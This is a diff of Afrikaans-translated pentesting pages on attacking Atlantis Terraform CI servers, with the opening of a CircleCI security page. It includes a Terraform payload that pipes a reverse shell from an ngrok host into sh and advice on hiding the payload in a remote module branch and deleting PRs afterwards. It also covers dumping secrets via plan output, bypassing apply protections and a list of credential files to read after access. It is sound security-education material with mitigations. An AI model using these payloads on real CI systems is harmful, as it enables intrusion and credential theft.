**demo repo** skep wat jy kan gebruik om met **atlantis** te **praat**. +3. Voer `./atlantis testdrive` uit en dit sal 'n **demo repo** skep wat jy kan gebruik om **met atlantis te kommunikeer**. 1. Jy kan die webblad in 127.0.0.1:4141 toegang. -### Atlantis Access +### Atlantis Toegang -#### Git Server Credentials +#### Git Bediener Kredensiale -**Atlantis** ondersteun verskeie git gasheer soos **Github**, **Gitlab**, **Bitbucket** en **Azure DevOps**.\ -Echter, om toegang tot die repos in daardie platforms te verkry en aksies uit te voer, moet dit 'n paar **privileged access granted to them** hê (ten minste skryf regte).\ -[**Die docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) moedig aan om 'n gebruiker in hierdie platforms spesifiek vir Atlantis te skep, maar sommige mense mag persoonlike rekeninge gebruik. +**Atlantis** ondersteun verskeie git gashere soos **Github**, **Gitlab**, **Bitbucket** en **Azure DevOps**.\ +Echter, om toegang tot die repos in daardie platforms te verkry en aksies uit te voer, moet dit 'n paar **bevoorregte toegang gegee word** (ten minste skryf regte).\ +[**Die dokumentasie**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) moedig aan om 'n gebruiker in hierdie platforms spesifiek vir Atlantis te skep, maar sommige mense mag persoonlike rekeninge gebruik. > [!WARNING] > In enige geval, vanuit 'n aanvaller se perspektief, gaan die **Atlantis rekening** een baie **interessante** **te kompromitteer** wees. #### Webhooks -Atlantis gebruik opsioneel [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) om te verifieer dat die **webhooks** wat dit van jou Git gasheer ontvang **legitiem** is. +Atlantis gebruik opsioneel [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) om te verifieer dat die **webhooks** wat dit van jou Git gashere ontvang **legitiem** is. -Een manier om dit te bevestig, sou wees om **toestemming te gee dat versoeke slegs van die IP's** van jou Git gasheer kom, maar 'n makliker manier is om 'n Webhook Secret te gebruik. +Een manier om dit te bevestig, sou wees om **slegs versoeke van die IP's** van jou Git gashere toe te laat, maar 'n makliker manier is om 'n Webhook Secret te gebruik. -Let daarop dat tensy jy 'n private github of bitbucket bediener gebruik, jy webhook eindpunte aan die internet moet blootstel. +Let daarop dat tensy jy 'n private github of bitbucket bediener gebruik, jy webhooks eindpunte aan die internet moet blootstel. > [!WARNING] > Atlantis gaan **webhooks blootstel** sodat die git bediener dit inligting kan stuur. Vanuit 'n aanvaller se perspektief sou dit interessant wees om te weet **of jy dit boodskappe kan stuur**. -#### Provider Credentials +#### Verskaffer Kredensiale -[Van die docs:](https://www.runatlantis.io/docs/provider-credentials.html) +[Van die dokumentasie:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis loop Terraform deur eenvoudig **`terraform plan` en `apply`** op die bediener **waarop Atlantis gehoste is** uit te voer. Net soos wanneer jy Terraform plaaslik loop, benodig Atlantis credentials vir jou spesifieke verskaffer. +Atlantis loop Terraform deur eenvoudig **`terraform plan` en `apply`** op die bediener **waarop Atlantis gehost word**. Net soos wanneer jy Terraform plaaslik loop, benodig Atlantis kredensiale vir jou spesifieke verskaffer. -Dit is aan jou hoe jy [credentials verskaf](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) vir jou spesifieke verskaffer aan Atlantis: +Dit is aan jou hoe jy [kredensiale verskaf](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) vir jou spesifieke verskaffer aan Atlantis: -- Die Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) en [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) het hul eie meganismes vir verskaffer credentials. Lees hul docs. +- Die Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) en [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) het hul eie meganismes vir verskaffer kredensiale. Lees hul dokumentasie. - As jy Atlantis in 'n wolk loop, het baie wolke maniere om wolk API toegang aan toepassings wat daarop loop te gee, bv: - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Soek vir "EC2 Role") - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) - Baie gebruikers stel omgewing veranderlikes in, bv. `AWS_ACCESS_KEY`, waar Atlantis loop. - Ander skep die nodige konfigurasie lêers, bv. `~/.aws/credentials`, waar Atlantis loop. -- Gebruik die [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) om verskaffer credentials te verkry. +- Gebruik die [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) om verskaffer kredensiale te verkry. > [!WARNING] -> Die **container** waar **Atlantis** **loop**, gaan hoogs waarskynlik **privileged credentials** vir die verskaffers (AWS, GCP, Github...) wat Atlantis via Terraform bestuur, bevat. +> Die **houer** waar **Atlantis** **loop** gaan hoogs waarskynlik **bevoorregte kredensiale** vir die verskaffers (AWS, GCP, Github...) wat Atlantis via Terraform bestuur, bevat. -#### Web Page +#### Webblad -Standaard sal Atlantis 'n **webblad in die poort 4141 in localhost** laat loop. Hierdie bladsy laat jou net toe om atlantis apply in te skakel/af te skakel en die planstatus van die repos te kontroleer en hulle te ontgrendel (dit laat nie toe om dinge te wysig nie, so dit is nie so nuttig nie). +Standaard sal Atlantis 'n **webblad op poort 4141 in localhost** laat loop. Hierdie bladsy laat jou net toe om atlantis toep te laat of nie en die planstatus van die repos te kontroleer en hulle te ontgrendel (dit laat nie toe om dinge te verander nie, so dit is nie so nuttig nie). -Jy sal waarskynlik nie vind dat dit aan die internet blootgestel is nie, maar dit lyk asof standaard **geen credentials benodig** word om toegang te verkry nie (en as hulle is, is `atlantis`:`atlantis` die **standaard** een). +Jy sal waarskynlik nie vind dat dit aan die internet blootgestel is nie, maar dit lyk of standaard **geen kredensiale benodig word** om toegang te verkry nie (en as hulle is, is `atlantis`:`atlantis` die **standaard** een). -### Server Configuration +### Bediener Konfigurasie Konfigurasie vir `atlantis server` kan gespesifiseer word via opdraglyn vlae, omgewing veranderlikes, 'n konfigurasie lêer of 'n mengsel van die drie. - Jy kan [**hier die lys van vlae**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) wat deur Atlantis bediener ondersteun word, vind. -- Jy kan [**hier vind hoe om 'n konfigurasie opsie in 'n omgewing veranderlike te transformeer**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- Jy kan [**hier vind hoe om 'n konfigurasie opsie in 'n omgewing veranderlike te transformeer**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables). Waardes word **in hierdie volgorde gekies**: @@ -78,34 +78,34 @@ Waardes word **in hierdie volgorde gekies**: > [!WARNING] > Let daarop dat jy in die konfigurasie dalk interessante waardes soos **tokens en wagwoorde** mag vind. -#### Repos Configuration +#### Repos Konfigurasie -Sommige konfigurasies beïnvloed **hoe die repos bestuur word**. Dit is egter moontlik dat **elke repo verskillende instellings vereis**, so daar is maniere om elke repo te spesifiseer. Dit is die prioriteitsorde: +Sommige konfigurasies beïnvloed **hoe die repos bestuur word**. Dit is egter moontlik dat **elke repo verskillende instellings vereis**, so daar is maniere om elke repo spesifiek te spesifiseer. Dit is die prioriteitsorde: 1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) lêer. Hierdie lêer kan gebruik word om te spesifiseer hoe atlantis die repo moet hanteer. Echter, standaard kan sommige sleutels nie hier gespesifiseer word nie sonder sommige vlae wat dit toelaat. -1. Waarskynlik vereis om toegelaat te word deur vlae soos `allowed_overrides` of `allow_custom_workflows`. -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Jy kan dit met die vlag `--repo-config` deurgee en dit is 'n yaml wat nuwe instellings vir elke repo konfigureer (regexes ondersteun). +1. Waarskynlik vereis om deur vlae soos `allowed_overrides` of `allow_custom_workflows` toegelaat te word. +2. [**Bediener Kante Konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Jy kan dit met die vlag `--repo-config` deurgee en dit is 'n yaml wat nuwe instellings vir elke repo konfigureer (regexes ondersteun). 3. **Standaard** waardes. -**PR Protections** +**PR Beskerming** -Atlantis laat toe om aan te dui of jy wil hê die **PR** moet **`goedgekeur`** word deur iemand anders (selfs al is dit nie in die tak beskerming ingestel nie) en/of **`mergeable`** wees (tak beskermings geslaag) **voor die uitvoering van apply**. Vanuit 'n sekuriteitsoogpunt is dit aanbeveel om albei opsies in te stel. +Atlantis laat toe om aan te dui of jy wil hê die **PR** moet **`goedgekeur`** word deur iemand anders (selfs al is dit nie in die tak beskerming ingestel nie) en/of **`mergable`** wees (tak beskermings geslaag) **voor die toep van toepassing is**. Vanuit 'n sekuriteitsoogpunt is dit aanbeveel om albei opsies in te stel. -In die geval dat `allowed_overrides` waar is, kan hierdie instellings **oor geskryf word op elke projek deur die `/atlantis.yml` lêer**. +In die geval dat `allowed_overrides` waar is, kan hierdie instelling **op elke projek oorgeskryf word deur die `/atlantis.yml` lêer**. -**Scripts** +**Skripte** -Die repo konfigurasie kan **scripts spesifiseer** om [**voor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) en [**na**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) 'n **workflow uitgevoer word.** +Die repo konfigurasie kan **skripte spesifiseer** om [**voor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) en [**na**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) 'n **workflow uitgevoer word.** -Daar is geen opsie om **te spesifiseer** hierdie scripts in die **repo `/atlantis.yml`** lêer nie. +Daar is geen opsie om **hierdie skripte in die **repo `/atlantis.yml`** lêer te spesifiseer nie. **Workflow** -In die repo konfigurasie (bediener kant konfigurasie) kan jy [**'n nuwe standaard workflow spesifiseer**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), of [**nuwe persoonlike workflows skep**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Jy kan ook **spesifiseer** watter **repos** toegang kan hê tot die **nuwe** wat gegenereer is.\ +In die repo konfigurasie (bediener kant konfigurasie) kan jy [**'n nuwe standaard workflow spesifiseer**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), of [**nuwe pasgemaakte workflows skep**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Jy kan ook **spesifiseer** watter **repos** toegang kan hê tot die **nuwe** wat gegenereer is.\ Dan kan jy die **atlantis.yaml** lêer van elke repo toelaat om **die workflow te spesifiseer wat gebruik moet word.** > [!CAUTION] -> As die [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan workflows in die **`atlantis.yaml`** lêer van elke repo **gespesifiseer** word. Dit is ook potensieel nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die workflow wat gebruik gaan word te **oor te skryf**.\ +> As die [**bediener kant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan workflows in die **`atlantis.yaml`** lêer van elke repo **gespesifiseer** word. Dit is ook potensieel nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die workflow wat gebruik gaan word te **oorgeskryf**.\ > Dit sal basies **RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee**. > > ```yaml @@ -124,20 +124,20 @@ Dan kan jy die **atlantis.yaml** lêer van elke repo toelaat om **die workflow t > steps: - run: my custom apply command > ``` -**Conftest Policy Checking** +**Conftest Beleid Kontrole** -Atlantis ondersteun die uitvoering van **server-side** [**conftest**](https://www.conftest.dev/) **beleide** teen die plan uitvoer. Algemene gebruiksgevalle vir die gebruik van hierdie stap sluit in: +Atlantis ondersteun die uitvoering van **bediener-kant** [**conftest**](https://www.conftest.dev/) **beleide** teen die plan uitvoer. Algemene gebruiksgevalle vir hierdie stap sluit in: - Ontkenning van die gebruik van 'n lys van modules. - Bevestiging van eienskappe van 'n hulpbron tydens die skepping. - Vang onbedoelde hulpbron verwyderings. - Voorkoming van sekuriteitsrisiko's (bv. blootstelling van veilige poorte aan die publiek). -Jy kan kyk hoe om dit te konfigureer in [**die docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). +Jy kan kyk hoe om dit te konfigureer in [**die dokumentasie**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). -### Atlantis Commands +### Atlantis Opdragte -[**In die docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) kan jy die opsies vind wat jy kan gebruik om Atlantis te laat loop: +[**In die dokumentasie**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) kan jy die opsies vind wat jy kan gebruik om Atlantis te laat loop: ```bash # Get help atlantis help @@ -165,7 +165,7 @@ atlantis apply [options] -- [terraform apply flags] > [!WARNING] > As jy tydens die ontginning hierdie **fout** vind: `Error: Error acquiring the state lock` -Jy kan dit regmaak deur te loop: +Jy kan dit regmaak deur te hardloop: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false @@ -174,7 +174,7 @@ atlantis plan -- -lock=false As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis plan`** kan **uitvoer** (of miskien word dit outomaties uitgevoer), **sal jy in staat wees om RCE binne die Atlantis bediener te hê**. -Jy kan dit doen deur [**Atlantis 'n eksterne databron te laat laai**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Sit net 'n payload soos die volgende in die `main.tf`-lêer: +Jy kan dit doen deur [**Atlantis 'n eksterne databron te laat laai**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Sit net 'n payload soos die volgende in die `main.tf` lêer: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -182,28 +182,28 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **Stealthier Aanval** -You can perform this attack even in a **stealthier way**, by following this suggestions: +Jy kan hierdie aanval selfs op 'n **stealthier manier** uitvoer deur hierdie voorstelle te volg: -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +- In plaas daarvan om die rev shell direk in die terraform-lêer te voeg, kan jy 'n **eksterne hulpbron** laai wat die rev shell bevat: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +U kan die rev shell kode vind in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell code in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **In plaas daarvan** om 'n **PR na master** te skep om Atlantis te aktiveer, **skep 2 takke** (test1 en test2) en skep 'n **PR van een na die ander**. Wanneer jy die aanval voltooi het, verwyder eenvoudig die **PR en die takke**. +- In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell kode in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **In plaas daarvan** om 'n **PR na meester** te skep om Atlantis te aktiveer, **skep 2 takke** (test1 en test2) en skep 'n **PR van een na die ander**. Wanneer jy die aanval voltooi het, verwyder eenvoudig die **PR en die takke**. -#### Atlantis plan Secrets Dump +#### Atlantis plan Geheimen Dump -You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file: +U kan **geheimen wat deur terraform gebruik word** dump deur `atlantis plan` (`terraform plan`) te loop deur iets soos dit in die terraform-lêer te plaas: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -#### Atlantis apply RCE - Konfigurasie wysiging in nuwe PR +#### Atlantis toepas RCE - Konfigurasie wysiging in nuwe PR As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis apply` kan uitvoer, sal jy in staat wees om RCE binne die Atlantis bediener te hê**. @@ -243,17 +243,17 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +Iets wat jy kan deurgee, is omgewingsveranderlikes wat dalk nuttig kan wees om sekere beskermings te omseil. Kyk na terraform omgewingsveranderlikes in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) -#### Custom Workflow +#### Pasgemaakte Werkvloei -Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ -This possibility was mentioned in a previous section: +Die uitvoering van **kwaadwillige pasgemaakte bouopdragte** wat in 'n `atlantis.yaml`-lêer gespesifiseer is. Atlantis gebruik die `atlantis.yaml`-lêer van die pull request tak, **nie** van `master`.\ +Hierdie moontlikheid is in 'n vorige afdeling genoem: > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **gespesifiseer** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **oorheers die werkvloei** that is going to be used. +> As die [**bedienerkant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan werkvloei **gespesifiseer** word in die **`atlantis.yaml`**-lêer van elke repo. Dit is ook moontlik nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die **werkvloei** wat gebruik gaan word, te **oorheers**. > -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Dit sal basies **RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee**. > > ```yaml > # atlantis.yaml @@ -272,9 +272,9 @@ This possibility was mentioned in a previous section: > - run: my custom apply command > ``` -#### Bypass plan/apply protections +#### Omseil plan/apply beskermings -If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _het_ `apply_requirements` configured, it's possible for a repo to **wysig die plan/apply beskerming om dit te omseil**. +As die [**bedienerkant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allowed_overrides` _gekonfigureer_ is met `apply_requirements`, is dit moontlik vir 'n repo om die **plan/apply beskermings te wysig om dit te omseil**. ```yaml repos: - id: /.*/ @@ -292,11 +292,11 @@ Dit is die **instelling** in Github branch protections: #### Webhook Secret -As jy daarin slaag om die **webhook secret** te **steel** of as daar **geen webhook secret** gebruik word nie, kan jy die **Atlantis webhook** aanroep en **atlatis opdragte** direk aanroep. +As jy daarin slaag om die **webhook secret** te **steel** of as daar **geen webhook secret** gebruik word nie, kan jy die **Atlantis webhook** aanroep en **atlatis commando's** direk aanroep. #### Bitbucket -Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toelaat om **versoekte van Bitbucket te spoof**. Verseker dat jy slegs Bitbucket IP's toelaat. +Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toelaat om **aanvraag van Bitbucket te spoof**. Verseker dat jy slegs Bitbucket IP's toelaat. - Dit beteken dat 'n **aanvaller** **valse versoeke aan Atlantis** kan maak wat lyk asof dit van Bitbucket kom. - As jy `--repo-allowlist` spesifiseer, kan hulle slegs valse versoeke rakende daardie repos maak, so die meeste skade wat hulle kan aanrig, sal wees om te plan/apply op jou eie repos. @@ -304,24 +304,24 @@ Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toela ### Post-Exploitation -As jy daarin geslaag het om toegang tot die bediener te verkry of ten minste jy het 'n LFI, is daar 'n paar interessante dinge wat jy moet probeer lees: +As jy daarin geslaag het om toegang tot die bediener te verkry of ten minste 'n LFI daar het, is daar 'n paar interessante dinge wat jy moet probeer lees: - `/home/atlantis/.git-credentials` Bevat vcs toegang akkrediteer - `/atlantis-data/atlantis.db` Bevat vcs toegang akkrediteer met meer inligting - `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform staat lêer - Voorbeeld: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate -- `/proc/1/environ` Omgewings veranderlikes +- `/proc/1/environ` Omgewing veranderlikes - `/proc/[2-20]/cmdline` Cmd lyn van `atlantis server` (kan sensitiewe data bevat) ### Mitigations -#### Moet nie op Publieke Repos Gebruik nie +#### Don't Use On Public Repos -Omdat enigiemand kommentaar op publieke pull requests kan lewer, selfs met al die sekuriteitsmitigaties beskikbaar, is dit steeds gevaarlik om Atlantis op publieke repos te laat loop sonder behoorlike konfigurasie van die sekuriteitsinstellings. +Omdat enige iemand op openbare pull requests kan kommentaar lewer, selfs met al die sekuriteitsmitigasies beskikbaar, is dit steeds gevaarlik om Atlantis op openbare repos te laat loop sonder behoorlike konfigurasie van die sekuriteitsinstellings. -#### Moet nie `--allow-fork-prs` Gebruik nie +#### Don't Use `--allow-fork-prs` -As jy op 'n publieke repo (wat nie aanbeveel word nie, kyk bo) loop, moet jy nie `--allow-fork-prs` stel nie (standaard is vals) omdat enigiemand 'n pull request van hul fork na jou repo kan oopmaak. +As jy op 'n openbare repo loop (wat nie aanbeveel word nie, kyk bo), moet jy nie `--allow-fork-prs` stel nie (standaard is vals) omdat enige iemand 'n pull request van hul fork na jou repo kan oopmaak. #### `--repo-allowlist` @@ -334,23 +334,23 @@ Atlantis vereis dat jy 'n allowlist van repositories spesifiseer waarvan dit web Hierdie vlag verseker dat jou Atlantis installasie nie gebruik word met repositories wat jy nie beheer nie. Kyk na `atlantis server --help` vir meer besonderhede. -#### Beskerm Terraform Beplanning +#### Protect Terraform Planning As aanvallers pull requests met kwaadwillige Terraform kode indien in jou bedreigingsmodel, moet jy bewus wees dat `terraform apply` goedkeuringe nie genoeg is nie. Dit is moontlik om kwaadwillige kode in 'n `terraform plan` te loop deur die [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) of deur 'n kwaadwillige verskaffer te spesifiseer. Hierdie kode kan dan jou akkrediteer uitvreet. Om dit te voorkom, kan jy: 1. Verskaffers in die Atlantis beeld bak of gasheer en egress in produksie ontken. -2. Die verskaffer registrasie protokol intern implementeer en publieke egress ontken, sodat jy beheer wie skrywe toegang tot die registrasie het. -3. Jou [server-side repo konfigurasie](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` stap wysig om te valideer teen die gebruik van verbode verskaffers of data bronne of PR's van nie toegelate gebruikers. Jy kan ook ekstra validasie by hierdie punt voeg, bv. vereis 'n "duim-op" op die PR voordat jy die `plan` toelaat om voort te gaan. Conftest kan hier nuttig wees. +2. Implementeer die verskaffer registrasie protokol intern en ontken openbare egress, sodat jy beheer wie skrywe toegang tot die registrasie het. +3. Wysig jou [server-side repo konfigurasie](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` stap om te valideer teen die gebruik van verbode verskaffers of data bronne of PR's van nie-toegelate gebruikers. Jy kan ook ekstra validasie by hierdie punt voeg, bv. vereis 'n "duim-op" op die PR voordat jy die `plan` toelaat om voort te gaan. Conftest kan hier nuttig wees. #### Webhook Secrets -Atlantis moet met Webhook secrets gedraai word wat via die `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` omgewingsveranderlikes ingestel is. Selfs met die `--repo-allowlist` vlag ingestel, kan aanvallers versoeke aan Atlantis maak wat as 'n repository wat toegelaat is, voorgee. Webhook secrets verseker dat die webhook versoeke werklik van jou VCS verskaffer (GitHub of GitLab) kom. +Atlantis moet met Webhook secrets gedraai word wat via die `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` omgewing veranderlikes ingestel is. Selfs met die `--repo-allowlist` vlag ingestel, kan aanvallers versoeke aan Atlantis maak wat as 'n repository wat toegelaat is, voorgee. Webhook secrets verseker dat die webhook versoeke werklik van jou VCS verskaffer (GitHub of GitLab) kom. As jy Azure DevOps gebruik, voeg in plaas van webhook secrets 'n basiese gebruikersnaam en wagwoord by. -#### Azure DevOps Basiese Verifikasie +#### Azure DevOps Basic Authentication Azure DevOps ondersteun die stuur van 'n basiese verifikasie kop in alle webhook gebeurtenisse. Dit vereis die gebruik van 'n HTTPS URL vir jou webhook ligging. @@ -358,11 +358,11 @@ Azure DevOps ondersteun die stuur van 'n basiese verifikasie kop in alle webhook As jy webhook secrets gebruik, maar jou verkeer is oor HTTP, kan die webhook secrets gesteel word. Aktiveer SSL/HTTPS met die `--ssl-cert-file` en `--ssl-key-file` vlag. -#### Aktiveer Verifikasie op Atlantis Webbediener +#### Enable Authentication on Atlantis Web Server -Dit word baie aanbeveel om verifikasie in die webdiens te aktiveer. Aktiveer BasicAuth met die `--web-basic-auth=true` en stel 'n gebruikersnaam en 'n wagwoord op met die `--web-username=yourUsername` en `--web-password=yourPassword` vlag. +Dit word baie aanbeveel om verifikasie in die webdiens in te skakel. Aktiveer BasicAuth met die `--web-basic-auth=true` en stel 'n gebruikersnaam en 'n wagwoord op met die `--web-username=yourUsername` en `--web-password=yourPassword` vlag. -Jy kan ook hierdie as omgewingsveranderlikes deurgee `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` en `ATLANTIS_WEB_PASSWORD=yourPassword`. +Jy kan ook hierdie as omgewing veranderlikes deurgee `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` en `ATLANTIS_WEB_PASSWORD=yourPassword`. ### References diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 2347a087f..d48dda7d5 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -1,15 +1,15 @@ -# CircleCI Veiligheid +# CircleCI Sekuriteit {{#include ../banners/hacktricks-training.md}} ### Basiese Inligting -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is 'n Kontinuïteitsintegrasie-platform waar jy **sjablone** kan **definieer** wat jy wil hê dit moet met 'n paar kode doen en wanneer om dit te doen. Op hierdie manier kan jy **toetsing** of **ontplooiings** direk **van jou repo hooftak** byvoorbeeld **outomatiseer**. +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is 'n Kontinuïteitsintegrasie-platform waar jy **sjablone** kan **definieer** wat jy wil hê dit moet met 'n paar kode doen en wanneer om dit te doen. Op hierdie manier kan jy **toetsing** of **ontplooiings** outomaties **van jou repo hooftak** doen byvoorbeeld. ### Toestemmings **CircleCI** **erf die toestemmings** van github en bitbucket wat verband hou met die **rekening** wat aanmeld.\ -In my toetse het ek gekontroleer dat solank jy **skryftoestemmings oor die repo in github** het, jy in staat gaan wees om **sy projekinstellings in CircleCI te bestuur** (nuwe ssh sleutels op te stel, projek api sleutels te kry, nuwe takke met nuwe CircleCI konfigurasies te skep...). +In my toetse het ek gekontroleer dat solank jy **skryftoestemmings oor die repo in github** het, jy in staat sal wees om **sy projekinstellings in CircleCI te bestuur** (nuwe ssh sleutels op te stel, projek api sleutels te kry, nuwe takke met nuwe CircleCI konfigurasies te skep...). Jy moet egter 'n **repo admin** wees om die **repo in 'n CircleCI projek te omskep**. @@ -19,7 +19,7 @@ Volgens [**die dokumentasie**](https://circleci.com/docs/2.0/env-vars/) is daar #### Ingeboude omgewing veranderlikes -Elke houer wat deur CircleCI gedraai word, sal altyd [**spesifieke omgewing veranderlikes in die dokumentasie gedefinieer**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) hê soos `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` of `CIRCLE_USERNAME`. +Elke houer wat deur CircleCI gedraai word, sal altyd [**spesifieke omgewing veranderlikes gedefinieer in die dokumentasie**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) hê soos `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` of `CIRCLE_USERNAME`. #### Duidelike teks @@ -31,7 +31,7 @@ command: | SECRET="A secret" echo $SECRET ``` -U kan hulle in duidelike teks binne die **run environment** verklaar: +U kan dit in duidelike teks binne die **run environment** verklaar: ```yaml - run: name: "set and echo" @@ -39,7 +39,7 @@ command: echo $SECRET environment: SECRET: A secret ``` -U kan hulle in duidelike teks binne die **build-job omgewing** verklaar: +Jy kan hulle in duidelike teks binne die **build-job omgewing** verklaar: ```yaml jobs: build-job: @@ -48,7 +48,7 @@ docker: environment: SECRET: A secret ``` -U kan dit in duidelike teks binne die **omgewing van 'n houer** verklaar: +Jy kan hulle in duidelike teks binne die **omgewing van 'n houer** verklaar: ```yaml jobs: build-job: @@ -59,7 +59,7 @@ SECRET: A secret ``` #### Projek Geheime -Dit is **geheime** wat slegs deur die **projek** (deur **enige tak**) **toeganklik** gaan wees.\ +Dit is **geheime** wat slegs **toeganklik** gaan wees deur die **projek** (deur **enige tak**).\ Jy kan hulle **verklaar in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ ![](<../images/image 